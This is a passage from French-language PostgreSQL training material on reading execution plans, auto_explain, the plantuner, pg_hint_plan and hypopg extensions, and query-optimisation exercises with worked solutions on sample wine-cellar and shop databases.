WHERE oid = indrelid AND indisunique;
Aggregate (cost=38.50..38.51 rows=1 width=8)
(actual time=1.247..1.248 rows=1 loops=1)
-> Hash Join (cost=29.05..38.00 rows=201 width=0)
(actual time=0.847..1.188 rows=198 loops=1)
Hash Cond: (pg_index.indrelid = pg_class.oid)
-> Seq Scan on pg_index (cost=0.00..8.42 rows=201 width=4)
(actual time=0.028..0.188 rows=198 loops=1)
Filter: indisunique
Rows Removed by Filter: 44
-> Hash (cost=21.80..21.80 rows=580 width=4)
(actual time=0.726..0.727 rows=579 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 29kB
-> Seq Scan on pg_class (cost=0.00..21.80 rows=580 width=4)
(actual time=0.016..0.373 rows=579 loops=1)
count
-------
198
auto_explain
est aussi un moyen de suivre les plans au
sein de fonctions. Par défaut, un plan n’indique les compteurs de blocs
hit, read, temp… que de l’appel global à la
fonction.
Une fonction simple en PL/pgSQL est définie pour récupérer le solde
le plus élevé dans la table pgbench_accounts
:
CREATE OR REPLACE function f_max_balance() RETURNS int AS $$
DECLARE
acct_balance int;
BEGIN
SELECT max(abalance)
INTO acct_balance
FROM pgbench_accounts;
RETURN acct_balance;
END;
$$ LANGUAGE plpgsql ;
Un simple EXPLAIN ANALYZE
de l’appel de la fonction ne
permet pas d’obtenir le plan de la requête
SELECT max(abalance) FROM pgbench_accounts
contenue dans la
fonction :
QUERY PLAN
-------------------------------------------------------------------------------
Result (cost=0.00..0.26 rows=1 width=4) (actual time=49.214..49.216 rows=1 loops=1)
Output: f_max_balance()
Planning Time: 0.149 ms
Execution Time: 49.326 ms
Par défaut, auto_explain
ne va pas capturer plus
d’information que la commande EXPLAIN ANALYZE
. Le fichier
log de l’instance capture le même plan lorsque la fonction est
exécutée.
2021-07-01 15:39:05.967 CEST [2768] LOG: duration: 42.937 ms plan:
Query Text: select f_max_balance();
Result (cost=0.00..0.26 rows=1 width=4)
(actual time=42.927..42.928 rows=1 loops=1)
Il est cependant possible d’activer le paramètre
log_nested_statements
avant l’appel de la fonction, de
préférence uniquement dans la ou les sessions concernées :
Le plan d’exécution de la requête SQL est alors visible dans les traces de l’instance :
2021-07-01 14:58:40.189 CEST [2202] LOG: duration: 58.938 ms plan:
Query Text: select max(abalance)
from pgbench_accounts
Finalize Aggregate
(cost=22632.85..22632.86 rows=1 width=4)
(actual time=58.252..58.935 rows=1 loops=1)
-> Gather
(cost=22632.64..22632.85 rows=2 width=4)
(actual time=57.856..58.928 rows=3 loops=1)
Workers Planned: 2
Workers Launched: 2
-> Partial Aggregate
(cost=21632.64..21632.65 rows=1 width=4)
(actual time=51.846..51.847 rows=1 loops=3)
-> Parallel Seq Scan on pgbench_accounts
(cost=0.00..20589.51 rows=417251 width=4)
(actual time=0.014..29.379 rows=333333 loops=3)
pgBadger est capable de lire les plans tracés par
auto_explain
, de les intégrer à son rapport et d’inclure un
lien vers explain.depesz.com
pour une version plus lisible.
Cette extension est disponible à cette adresse (le miroir GitHub ne semble pas maintenu). Oleg Bartunov, l’un de ses auteurs, a publié en 2018 un article intéressant sur son utilisation.
Il faudra récupérer le source et le compiler. La configuration est basée sur trois paramètres :
plantuner.enable_index
pour préciser les index à
activer ;plantuner.disable_index
pour préciser les index à
désactiver ;plantuner.fix_empty_table
pour forcer à zéro les
statistiques des tables de 0 bloc.Ils sont configurables à chaud, comme le montre l’exemple suivant :
QUERY PLAN
-----------------------------------------------------------------
Index Scan using employes_big_date_embauche_idx on employes_big
Index Cond: (date_embauche = '1000-01-01'::date)
SET plantuner.disable_index='employes_big_date_embauche_idx';
EXPLAIN (COSTS OFF)
SELECT * FROM employes_big WHERE date_embauche='1000-01-01';
QUERY PLAN
------------------------------------------------------
Gather
Workers Planned: 2
-> Parallel Seq Scan on employes_big
Filter: (date_embauche = '1000-01-01'::date)
Un des intérêts de cette extension est de pouvoir interdire l’utilisation d’un index, afin de pouvoir ensuite le supprimer de manière transparente, c’est-à-dire sans bloquer aucune requête applicative.
Cependant, généralement, cette extension a sa place sur un serveur de développement pour bien comprendre les choix de planification, pas sur un serveur de production. En tout cas, pas dans le but de tromper le planificateur.Comme avec toute extension en C, un bug est susceptible de provoquer un plantage complet du serveur.
Cette extension existe depuis longtemps.
Elle est à présent présente dans les paquets du PGDG, par exemple :
# paquets Debian/Ubuntu
sudo apt install postgresql-17-pg-hint-plan
# paquets RPM
sudo dnf install pg_hint_plan_17 pg_hint_plan_17-llvmjit
Le code est sur le dépôt Github. La documentation en anglais peut être complétée par la version japonaise plus à jour, ou cet article.
Comme avec toute extension en C, un bug est susceptible de provoquer un plantage complet du serveur !
Cette extension est disponible sur GitHub et dans les paquets du PGDG. Il existe trois fonctions principales et une vue :
hypopg_create_index()
pour créer un index
hypothétique ;hypopg_drop_index()
pour supprimer un index
hypothétique particulier ou hypopg_reset()
pour tous les
supprimer ;hypopg_list_indexes
pour les lister.Un index hypothétique n’existe que dans la session, ni en mémoire ni
sur le disque, mais le planificateur le prendra en compte dans un
EXPLAIN
simple (évidemment pas un
EXPLAIN ANALYZE
). En quittant la session, tous les index
hypothétiques restants et créés sur cette session sont supprimés.
L’exemple suivant est basé sur la base dont le script peut être téléchargé sur https://dali.bo/tp_employes_services.
QUERY PLAN
-------------------------------------------------------------------------------
Gather (cost=1000.00..8263.14 rows=1 width=41)
Workers Planned: 2
-> Parallel Seq Scan on employes_big (cost=0.00..7263.04 rows=1 width=41)
Filter: ((prenom)::text = 'Gaston'::text)
indexrelid | indexname
------------+----------------------------------
24591 | <24591>btree_employes_big_prenom
QUERY PLAN
-------------------------------------------------------------------
Index Scan using <24591>btree_employes_big_prenom on employes_big
(cost=0.05..4.07 rows=1 width=41)
Index Cond: ((prenom)::text = 'Gaston'::text)
indexrelid | indexname | nspname | relname | amname
------------+----------------------------------+---------+--------------+--------
24591 | <24591>btree_employes_big_prenom | public | employes_big | btree
QUERY PLAN
----------------------------------------------------------
Index Scan using employes_big_prenom_idx on employes_big
(cost=0.42..4.44 rows=1 width=41)
Index Cond: ((prenom)::text = 'Gaston'::text)
Le cas idéal d’utilisation est l’index B-Tree sur une colonne. Un index fonctionnel est possible, mais, faute de statistiques disponibles avant la création réelle de l’index, les estimations peuvent être fausses. Les autres types d’index sont moins bien ou non supportées.
N’hésitez pas, c’est le moment !
La version en ligne des solutions de ces TP est disponible sur https://dali.bo/j2_solutions.
Tous les TP se basent sur la configuration par défaut de PostgreSQL, sauf précision contraire.
\timing
dans
psql
pour afficher les temps d’exécution de la
recherche.
- Pour rendre les plans plus lisibles, désactiver le JIT et le parallélisme :
random()
).psql
, il est possible de
les rappeler avec \g
, ou la touche flèche
haut du clavier.Ce TP utilise notamment la base cave. Son schéma est le suivant :
La base cave (dump de 2,6 Mo, pour 71 Mo sur le disque au final) peut être téléchargée et restaurée ainsi :
curl -kL https://dali.bo/tp_cave -o cave.dump
psql -c "CREATE ROLE caviste LOGIN PASSWORD 'caviste'"
psql -c "CREATE DATABASE cave OWNER caviste"
pg_restore -d cave cave.dump
# NB : une erreur sur un schéma 'public' existant est normale
Les valeurs (taille, temps d’exécution) varieront à cause de plusieurs critères :
But : Optimisation de requête
La requête suivante vise à récupérer un état des stocks pour une année prise au hasard :
SET jit TO off ;
SET max_parallel_workers_per_gather TO 0;
EXPLAIN (ANALYZE, COSTS OFF)
SELECT
m.annee||' - '||a.libelle as millesime_region,
sum(s.nombre) as contenants,
sum(s.nombre*c.contenance) as litres
FROM
contenant c
JOIN stock s
ON s.contenant_id = c.id
JOIN (SELECT round(random()*50)+1950 AS annee) m
ON s.annee = m.annee
JOIN vin v
ON s.vin_id = v.id
LEFT JOIN appellation a
ON v.appellation_id = a.id
GROUP BY m.annee||' - '||a.libelle;
stock.annee
.stock
.enable_seqscan
dans la session.WHERE
.But : Optimisation de requête
L’exercice précédent nous a amené à cette requête :
EXPLAIN ANALYZE
SELECT
s.annee||' - '||a.libelle AS millesime_region,
sum(s.nombre) AS contenants,
sum(s.nombre*c.contenance) AS litres
FROM
contenant c
JOIN stock s
ON s.contenant_id = c.id
JOIN vin v
ON s.vin_id = v.id
LEFT join appellation a
ON v.appellation_id = a.id
WHERE s.annee = (SELECT round(random()*50)+1950 AS annee)
GROUP BY s.annee||' - '||a.libelle;
Cette écriture n’est pas optimale.
appellation
.stock.annee
est-il
utilisé ?But : Optimiser une requête avec beaucoup de tables
La base magasin (dump de 96 Mo, pour 667 Mo sur le disque au final) peut être téléchargée et restaurée comme suit dans une nouvelle base magasin :
createdb magasin
curl -kL https://dali.bo/tp_magasin -o /tmp/magasin.dump
pg_restore -d magasin /tmp/magasin.dump
# le message sur public préexistant est normal
rm -- /tmp/magasin.dump
Les données sont dans deux schémas, magasin et
facturation. Penser au search_path
.
Pour ce TP, figer les paramètres suivants :
SET search_path TO magasin,facturation ;
SET max_parallel_workers_per_gather TO 0; -- paramétrage pour simplifier les plans
SET jit TO off ; --
SELECT SUM (reglements.montant) AS somme_reglements
FROM factures
INNER JOIN reglements USING (numero_facture)
INNER JOIN commandes USING (numero_commande)
INNER JOIN clients cl USING (client_id)
INNER JOIN types_clients USING (type_client)
INNER JOIN lignes_commandes lc USING (numero_commande)
INNER JOIN lots l ON (l.numero_lot = lc.numero_lot_expedition)
INNER JOIN transporteurs USING (transporteur_id)
INNER JOIN contacts ct ON (ct.contact_id = cl.contact_id)
WHERE transporteurs.nom = 'Royal Air Drone'
AND login = 'Beatty_Brahem' ;
Tous les TP se basent sur la configuration par défaut de PostgreSQL, sauf précision contraire.
\timing
dans
psql
pour afficher les temps d’exécution de la
recherche.
- Pour rendre les plans plus lisibles, désactiver le JIT et le parallélisme :
random()
).psql
, il est possible de
les rappeler avec \g
, ou la touche flèche
haut du clavier.Ce TP utilise notamment la base cave. Son schéma est le suivant :
La base cave (dump de 2,6 Mo, pour 71 Mo sur le disque au final) peut être téléchargée et restaurée ainsi :
curl -kL https://dali.bo/tp_cave -o cave.dump
psql -c "CREATE ROLE caviste LOGIN PASSWORD 'caviste'"
psql -c "CREATE DATABASE cave OWNER caviste"
pg_restore -d cave cave.dump
# NB : une erreur sur un schéma 'public' existant est normale
Les valeurs (taille, temps d’exécution) varieront à cause de plusieurs critères :
SET jit TO off ;
SET max_parallel_workers_per_gather TO 0;
EXPLAIN (ANALYZE, COSTS OFF)
SELECT
m.annee||' - '||a.libelle as millesime_region,
sum(s.nombre) as contenants,
sum(s.nombre*c.contenance) as litres
FROM
contenant c
JOIN stock s
ON s.contenant_id = c.id
JOIN (SELECT round(random()*50)+1950 AS annee) m
ON s.annee = m.annee
JOIN vin v
ON s.vin_id = v.id
LEFT JOIN appellation a
ON v.appellation_id = a.id
GROUP BY m.annee||' - '||a.libelle;
L’exécution de la requête donne le plan suivant. Le temps comme le plan peuvent varier en fonction de la version exacte de PostgreSQL, de la machine utilisée, de son activité :
QUERY PLAN
-------------------------------------------------------------------------------
HashAggregate (actual time=199.630..199.684 rows=319 loops=1)
Group Key: (((((round((random() * '50'::double precision))
+ '1950'::double precision)))::text || ' - '::text)
|| a.libelle)
-> Hash Left Join (actual time=61.631..195.614 rows=16892 loops=1)
Hash Cond: (v.appellation_id = a.id)
-> Hash Join (actual time=61.531..190.045 rows=16892 loops=1)
Hash Cond: (s.contenant_id = c.id)
-> Hash Join (actual time=61.482..186.976 rows=16892 loops=1)
Hash Cond: (s.vin_id = v.id)
-> Hash Join (actual time=60.049..182.135 rows=16892 loops=1)
Hash Cond: ((s.annee)::double precision
= ((round((random() * '50'::double precision))
+ '1950'::double precision)))
-> Seq Scan on stock s (… rows=860588 loops=1)
-> Hash (actual time=0.010..0.011 rows=1 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Result (… rows=1 loops=1)
-> Hash (actual time=1.420..1.421 rows=6062 loops=1)
Buckets: 8192 Batches: 1 Memory Usage: 301kB
-> Seq Scan on vin v (… rows=6062 loops=1)
-> Hash (actual time=0.036..0.036 rows=3 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Seq Scan on contenant c (… rows=3 loops=1)
-> Hash (actual time=0.090..0.090 rows=319 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 25kB
-> Seq Scan on appellation a (… rows=319 loops=1)
Planning Time: 2.673 ms
Execution Time: 199.871 ms
stock.annee
.Instinctivement, on s’attend à ce qu’un index sur
stock.annee
soit utile, puisque l’on sélectionne uniquement
là-dessus :
Cependant, le plan ne change pas si l’on relance la requête ci-dessus.
La raison est simple : au moment de la construction du plan, la valeur de l’année est inconnue. L’index est donc inutilisable.
stock
.Peut-être ANALYZE
a-t-il été oublié ? Dans l’idéal, un
VACUUM ANALYZE
est même préférable pour favoriser les
Index Only Scan
.
Mais cela n’a pas d’influence sur le plan. En fait, le premier plan ci-dessus montre que les statistiques sont déjà correctement estimées.
enable_seqscan
dans la session.Nous remarquons que le temps d’exécution explose :
GroupAggregate (actual time=1279.990..1283.367 rows=319 loops=1)
Group Key: ((((((round((random() * '50'::double precision))
+ '1950'::double precision)))::text || ' - '::text)
|| a.libelle))
-> Sort (actual time=1279.965..1280.895 rows=16854 loops=1)
Sort Key: ((((((round((random() * '50'::double precision))
+ '1950'::double precision)))::text || ' - '::text)
|| a.libelle))
Sort Method: quicksort Memory: 2109kB
-> Hash Left Join (actual time=11.163..1258.628 rows=16854 loops=1)
Hash Cond: (v.appellation_id = a.id)
-> Hash Join (actual time=10.911..1247.542 rows=16854 loops=1)
Hash Cond: (s.vin_id = v.id)
-> Nested Loop (actual time=0.070..1230.297
rows=16854 loops=1)
Join Filter: (s.contenant_id = c.id)
Rows Removed by Join Filter: 17139
-> Hash Join (actual time=0.056..1220.730
rows=16854 loops=1)
Hash Cond: ((s.annee)::double precision =
((round((random() *
'50'::double precision))
+ '1950'::double precision)))
-> Index Scan using stock_pkey on stock s
(actual time=0.011..1098.671 rows=860588 loops=1)
-> Hash (actual time=0.007..0.007 rows=1 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Result (…rows=1 loops=1)
-> Materialize (… rows=2 loops=16854)
-> Index Scan using contenant_pkey on contenant c
(actual time=0.007..0.009 rows=3 loops=1)
-> Hash (actual time=10.826..10.826 rows=6062 loops=1)
Buckets: 8192 Batches: 1 Memory Usage: 301kB
-> Index Scan using vin_pkey on vin v
(actual time=0.010..8.436 rows=6062 loops=1)
-> Hash (actual time=0.233..0.233 rows=319 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 25kB
-> Index Scan using appellation_pkey on appellation a
(actual time=0.015..0.128 rows=319 loops=1)
Planning Time: 1.337 ms
Execution Time: 1283.467 ms
Le plan renvoyé peut être analysé graphiquement avec explain.dalibo.com.
Avec COSTS ON
(qui est activé par défaut), les
estimations attendues sont affichées, où l’on peut comparer ligne par
ligne aux nombres réellement ramenés.
HashAggregate (cost=17931.35..17937.73 rows=319 width=48)
(actual time=195.338..195.388 rows=319 loops=1)
Group Key: (…)
…
L’estimation du nombre de lignes renvoyé par la requête est parfaite. Est-ce le cas pour tous les nœuds en-dessous ?
D’abord on note que les lignes à regrouper étaient 4 fois plus nombreuses que prévues :
-> Hash Left Join (cost=180.68..17877.56 rows=4303 width=40)
(actual time=136.012..191.468 rows=16834 loops=1)
Hash Cond: (v.appellation_id = a.id)
Cela ne veut pas dire que les statistiques sur les tables
v
ou a
sont fausses, car les nœuds précédents
ont déjà opéré des jointures et filtrages. Si on tente de descendre au
nœud le plus profond qui montre un problème d’estimation, on trouve
ceci :
-> Hash Join
(cost=0.04..17603.89 rows=4303 width=20)
(actual time=134.406..177.861 rows=16834 loops=1)
Hash Cond: ((s.annee)::double precision =
((round((random() * '50'::double precision))
+ '1950'::double precision)))
Il s’agit de la jointure hash entre stock
et
annee
sur une sélection aléatoire de l’année. PostgreSQL
s’attend à 4303 lignes, et en retrouve 16 834, 4 fois plus.
Il ne s’agit pas d’un problème dans l’estimation de
stock
même, car il s’attend correctement à y balayer
860 588 lignes (il s’agit bien du nombre de lignes vivantes total de la
table qui vont alimenter la jointure avec annee
) :
-> Seq Scan on stock s
(cost=0.00..13257.88 rows=860588 width=16)
(actual time=0.012..66.563 rows=860588 loops=1)
La seconde partie du hash (le SELECT
sur
annee
) est constitué d’un bucket correctement
estimé à 1 ligne depuis le résultat de la sous-requête :
-> Hash (cost=0.03..0.03 rows=1 width=8)
(actual time=0.053..0.053 rows=1 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Result (cost=0.00..0.02 rows=1 width=8)
(actual time=0.049..0.050 rows=1 loops=1)
Il y a donc un problème dans l’estimation du nombre de lignes ramenées par la jointure sur l’année choisie au hasard.
WHERE
.EXPLAIN ANALYZE
SELECT
s.annee||' - '||a.libelle AS millesime_region,
sum(s.nombre) AS contenants,
sum(s.nombre*c.contenance) AS litres
FROM
contenant c
JOIN stock s
ON s.contenant_id = c.id
JOIN vin v
ON s.vin_id = v.id
LEFT join appellation a
ON v.appellation_id = a.id
WHERE s.annee = (SELECT round(random()*50)+1950 AS annee)
GROUP BY s.annee||' - '||a.libelle;
Il y a une jointure en moins, ce qui est toujours appréciable. Nous
pouvons faire cette réécriture parce que la requête
SELECT round(random()*50)+1950 AS annee
ne ramène qu’un
seul enregistrement.
Le nouveau plan est :
HashAggregate (cost=17888.29..17974.35 rows=4303 width=48)
(actual time=123.606..123.685 rows=319 loops=1)
Group Key: (((s.annee)::text || ' - '::text) || a.libelle)
InitPlan 1 (returns $0)
-> Result (cost=0.00..0.02 rows=1 width=8)
(… rows=1 loops=1)
-> Hash Left Join (cost=180.64..17834.49 rows=4303 width=40)
(actual time=8.329..114.481 rows=17527 loops=1)
Hash Cond: (v.appellation_id = a.id)
-> Hash Join (cost=170.46..17769.84 rows=4303 width=16)
(actual time=7.847..101.390 rows=17527 loops=1)
Hash Cond: (s.contenant_id = c.id)
-> Hash Join (cost=169.40..17741.52 rows=4303 width=16)
(actual time=7.789..94.117 rows=17527 loops=1)
Hash Cond: (s.vin_id = v.id)
-> Seq Scan on stock s
(cost=0.00..17560.82 rows=4303 width=16)
(actual time=0.031..77.158 rows=17527 loops=1)
Filter: ((annee)::double precision = $0)
Rows Removed by Filter: 843061
-> Hash (cost=93.62..93.62 rows=6062 width=8)
(actual time=7.726..7.726 rows=6062 loops=1)
Buckets: 8192 Batches: 1 Memory Usage: 301kB
-> Seq Scan on vin v
(cost=0.00..93.62 rows=6062 width=8)
(actual time=0.016..3.563 rows=6062 loops=1)
-> Hash (cost=1.03..1.03 rows=3 width=8)
(actual time=0.040..0.040 rows=3 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Seq Scan on contenant c
(cost=0.00..1.03 rows=3 width=8)
(actual time=0.026..0.030 rows=3 loops=1)
-> Hash (cost=6.19..6.19 rows=319 width=20)
(actual time=0.453..0.453 rows=319 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 25kB
-> Seq Scan on appellation a
(cost=0.00..6.19 rows=319 width=20)
(actual time=0.019..0.200 rows=319 loops=1)
Planning Time: 2.227 ms
Execution Time: 123.909 ms
Sur la machine testée, le temps d’exécution est réduit d’un tiers. Pourtant, le plan n’est que très peu différent, et les estimations ne sont pas meilleures (ce qui semble logique, PostgreSQL n’ayant pas plus d’informations sur la valeur exacte de l’année qui sera calculée).
La différence avec l’ancien plan est cette partie :
-> Seq Scan on stock s
(cost=0.00..17560.82 rows=4303 width=16)
(actual time=0.031..77.158 rows=17527 loops=1)
Filter: ((annee)::double precision = $0)
Rows Removed by Filter: 843061
Le nouveau plan comprend le calcul de la varable $0
(tout en haut) puis un parcours complet de stock
et un
filtrage au fur et à mesure des lignes sur annee=$0
.
Il ne s’agit plus là d’une jointure par hash. Toute la
construction d’une table de hachage sur la table stock
est
supprimée. PostgreSQL sait de manière absolue qu’il n’y aura qu’une
seule valeur ramenée par sous-requête, gràce à =
. Ce
n’était pas évident pour lui car le résultat des fonctions forme un peu
une « boîte noire ». Si on remplace le =
par
IN
, on retombe sur le plan original.
Noter toutefois que la différence totale de coût au niveau de la requête est faible.
Que peut-on conclure de cet exercice ?
l’optimiseur n’est pas tenu d’utiliser un index ;
se croire plus malin que l’optimiseur est souvent
contre-productif (SET enable_seqscan TO off
n’a pas mené au
résultat espéré) ;
il vaut toujours mieux être explicite dans ce qu’on demande dans une requête ;
il vaut mieux séparer jointure et filtrage.
Il reste un mystère qui sera couvert par un exercice suivant :
pourquoi l’index sur stock.annee
n’est-il pas utilisé ?
appellation
.On peut se demander si la jointure externe (LEFT JOIN
)
est fondée :
Cela se traduit par « récupérer tous les tuples de la table
vin
, et pour chaque correspondance dans
appellation
, la récupérer, si elle existe ».
La description de la table vin
est :
\d vin
Table « public.vin »
Colonne | Type | ... | NULL-able | Par défaut
----------------+---------+-----+-----------+---------------------------------
id | integer | | not null | nextval('vin_id_seq'::regclass)
recoltant_id | integer | | |
appellation_id | integer | | not null |
type_vin_id | integer | | not null |
Index :
"vin_pkey" PRIMARY KEY, btree (id)
Contraintes de clés étrangères :
"vin_appellation_id_fkey" FOREIGN KEY (appellation_id)
REFERENCES appellation(id) ON DELETE CASCADE
"vin_recoltant_id_fkey" FOREIGN KEY (recoltant_id)
REFERENCES recoltant(id) ON DELETE CASCADE
"vin_type_vin_id_fkey" FOREIGN KEY (type_vin_id)
REFERENCES type_vin(id) ON DELETE CASCADE
Référencé par :
TABLE "stock" CONSTRAINT "stock_vin_id_fkey"
FOREIGN KEY (vin_id) REFERENCES vin(id) ON DELETE CASCADE
appellation_id
est NOT NULL
: il y a
forcément une valeur, qui est forcément dans appellation
.
De plus, la contrainte vin_appellation_id_fkey
signifie
qu’on a la certitude que pour chaque vin.appellation.id
, il
existe une ligne correspondante dans appellation
.
À titre de vérification, deux COUNT(*)
du résultat, une
fois en INNER JOIN
et une fois en LEFT JOIN
montrent un résultat identique :
On peut donc réécrire la requête sans la jointure externe, qui n’est pas fausse mais est généralement bien moins efficace qu’une jointure interne :
EXPLAIN ANALYZE
SELECT
s.annee||' - '||a.libelle AS millesime_region,
sum(s.nombre) AS contenants,
sum(s.nombre*c.contenance) AS litres
FROM
contenant c
JOIN stock s
ON s.contenant_id = c.id
JOIN vin v
ON s.vin_id = v.id
JOIN appellation a
ON v.appellation_id = a.id
WHERE s.annee = (SELECT round(random()*50)+1950 AS annee)
GROUP BY s.annee||' - '||a.libelle;
Quant au plan, il est identique au plan précédent. Cela n’est pas
étonnant : il n’y a aucun filtrage sur appellation
et c’est
une petite table, donc intuitivement on peut se dire que PostgreSQL fera
la jointure une fois les autres opérations effectuées, sur le minimum de
lignes. D’autre part, PostgreSQL est depuis longtemps capable de
transformer un LEFT JOIN
inutile en INNER JOIN
quand la contrainte est là.
Si on observe attentivement le plan, on constate qu’on a toujours le
parcours séquentiel de la table stock
, qui est notre plus
grosse table. Pourquoi a-t-il lieu ?
stock.annee
est-il
utilisé ?Si on fige l’année, on constate que l’index sur
stock.annee
est bien utilisé, avec un temps d’exécution
bien plus réduit :
EXPLAIN (ANALYSE, COSTS OFF)
SELECT
s.annee||' - '||a.libelle AS millesime_region,
sum(s.nombre) AS contenants,
sum(s.nombre*c.contenance) AS litres
FROM
contenant c
JOIN stock s
ON s.contenant_id = c.id
JOIN vin v
ON s.vin_id = v.id
JOIN appellation a
ON v.appellation_id = a.id
WHERE s.annee = 1950
GROUP BY s.annee||' - '||a.libelle;
QUERY PLAN
----------------------------------------------------------------------------
HashAggregate (actual time=48.827..48.971 rows=319 loops=1)
Group Key: (((s.annee)::text || ' - '::text) || a.libelle)
-> Hash Join (actual time=8.889..40.737 rows=17527 loops=1)
Hash Cond: (v.appellation_id = a.id)
-> Hash Join (actual time=8.398..29.828 rows=17527 loops=1)
Hash Cond: (s.vin_id = v.id)
-> Hash Join (actual time=0.138..14.374 rows=17527 loops=1)
Hash Cond: (s.contenant_id = c.id)
-> Index Scan using stock_annee_idx on stock s
(actual time=0.066..6.587 rows=17527 loops=1)
Index Cond: (annee = 1950)
-> Hash (actual time=0.017..0.018 rows=3 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Seq Scan on contenant c (… rows=3 loops=1)
-> Hash (actual time=8.228..8.228 rows=6062 loops=1)
Buckets: 8192 Batches: 1 Memory Usage: 301kB
-> Seq Scan on vin v (…)
-> Hash (actual time=0.465..0.465 rows=319 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 25kB
-> Seq Scan on appellation a (…)
Planning Time: 2.144 ms
Execution Time: 49.317 ms
La partie qui diffère de l’ancien plan est celle-ci :
-> Index Scan using stock_annee_idx on stock s
(actual time=0.066..6.587 rows=17527 loops=1)
Index Cond: (annee = 1950)
Quand précédemment on avait un parcours et un filtrage :
-> Seq Scan on stock s
(cost=0.00..17560.82 rows=4303 width=16)
(actual time=0.031..77.158 rows=17527 loops=1)
Filter: ((annee)::double precision = $0)
Rows Removed by Filter: 843061
Le nombre de lignes estimées et obtenues sont pourtant les mêmes.
Pourquoi PostgreSQL utilise-t-il l’index pour filtrer sur
1950
et par pour $0
? Le filtre en fait
diffère, le premier est (annee = 1950)
(compatible avec un
index), l’autre est ((annee)::double precision = $0)
, qui
contient une conversion de int
en
double precision
! Et dans ce cas, l’index est inutilisable
(comme à chaque fois qu’il y a une opération sur la colonne
indexée).
La conversion a lieu parce que la fonction round()
retourne un nombre à virgule flottante. La somme d’un nombre à virgule
flottante et d’un entier est évidemment un nombre à virgule flottante.
Si on veut que la fonction round()
retourne un entier, il
faut forcer explicitement sa conversion, via
CAST(xxx as int)
ou ::int
.
Le phénomène peut s’observer sur la requête avec 1950 en comparant
annee = 1950 + 1.0
: l’index ne sera plus utilisé.
Réécrivons encore une fois cette requête en homogénéisant les types :
EXPLAIN ANALYZE
SELECT
s.annee||' - '||a.libelle AS millesime_region,
sum(s.nombre) AS contenants,
sum(s.nombre*c.contenance) AS litres
FROM
contenant c
JOIN stock s
ON s.contenant_id = c.id
JOIN vin v
ON s.vin_id = v.id
JOIN appellation a
ON v.appellation_id = a.id
WHERE s.annee = (SELECT (round(random()*50))::int + 1950 AS annee)
GROUP BY s.annee||' - '||a.libelle;
Voici son plan :
HashAggregate (actual time=28.208..28.365 rows=319 loops=1)
Group Key: (((s.annee)::text || ' - '::text) || a.libelle)
InitPlan 1 (returns $0)
-> Result (actual time=0.003..0.003 rows=1 loops=1)
-> Hash Join (actual time=2.085..23.194 rows=16891 loops=1)
Hash Cond: (v.appellation_id = a.id)
-> Hash Join (actual time=1.894..16.358 rows=16891 loops=1)
Hash Cond: (s.vin_id = v.id)
-> Hash Join (actual time=0.091..9.865 rows=16891 loops=1)
Hash Cond: (s.contenant_id = c.id)
-> Index Scan using stock_annee_idx on stock s
(actual time=0.068..4.774 rows=16891 loops=1)
Index Cond: (annee = $0)
-> Hash (actual time=0.013..0.013 rows=3 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Seq Scan on contenant c (…)
-> Hash (actual time=1.792..1.792 rows=6062 loops=1)
Buckets: 8192 Batches: 1 Memory Usage: 301kB
-> Seq Scan on vin v (…)
-> Hash (actual time=0.183..0.183 rows=319 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 25kB
-> Seq Scan on appellation a (…)
Planning Time: 0.574 ms
Execution Time: 28.516 ms
On constate qu’on utilise enfin l’index de stock
. Le
temps d’exécution est bien meilleur. Ce problème d’incohérence de type
était la cause fondamentale du ralentissement de la requête.
Noter au passage que le critère suivant ne fonctionnera pas, non à cause du type, mais parce qu’il est faux :
En effet, la comparaison entre annee
et la valeur
aléatoire se ferait à chaque ligne séparément, avec un résultat
complètement faux. Pour choisir une année au hasard, il faut
donc encapsuler le calcul dans une sous-requête, dont le résultat
ramènera une seule ligne de manière garantie.
La base magasin (dump de 96 Mo, pour 667 Mo sur le disque au final) peut être téléchargée et restaurée comme suit dans une nouvelle base magasin :
createdb magasin
curl -kL https://dali.bo/tp_magasin -o /tmp/magasin.dump
pg_restore -d magasin /tmp/magasin.dump
# le message sur public préexistant est normal
rm -- /tmp/magasin.dump
Les données sont dans deux schémas, magasin et
facturation. Penser au search_path
.
Pour ce TP, figer les paramètres suivants :
SET search_path TO magasin,facturation ;
SET max_parallel_workers_per_gather TO 0; -- paramétrage pour simplifier les plans
SET jit TO off ; --
SELECT SUM (reglements.montant) AS somme_reglements
FROM factures
INNER JOIN reglements USING (numero_facture)
INNER JOIN commandes USING (numero_commande)
INNER JOIN clients cl USING (client_id)
INNER JOIN types_clients USING (type_client)
INNER JOIN lignes_commandes lc USING (numero_commande)
INNER JOIN lots l ON (l.numero_lot = lc.numero_lot_expedition)
INNER JOIN transporteurs USING (transporteur_id)
INNER JOIN contacts ct ON (ct.contact_id = cl.contact_id)
WHERE transporteurs.nom = 'Royal Air Drone'
AND login = 'Beatty_Brahem' ;
Cette requête s’exécute très lentement. Son plan simplifié est le suivant (la version complète est sur https://explain.dalibo.com/plan/D0U) :
QUERY PLAN
-------------------------------------------------------------------------------
Aggregate (actual time=3050.969..3050.978 rows=1 loops=1)
-> Hash Join (actual time=2742.616..3050.966 rows=4 loops=1)
Hash Cond: (cl.contact_id = ct.contact_id)
-> Hash Join (actual time=2192.741..2992.578 rows=422709 loops=1)
Hash Cond: (factures.numero_commande = commandes.numero_commande)
-> Hash Join (actual time=375.112..914.517 rows=1055812 loops=1)
Hash Cond: ((reglements.numero_facture)::text = (factures.numero_facture)::text)
-> Seq Scan on reglements (actual time=0.007..96.963 rows=1055812 loops=1)
-> Hash (actual time=371.347..371.348 rows=1000000 loops=1)
Buckets: 1048576 Batches: 1 Memory Usage: 62880kB
-> Seq Scan on factures (actual time=0.018..113.699 rows=1000000 loops=1)
-> Hash (actual time=1813.741..1813.746 rows=393841 loops=1)
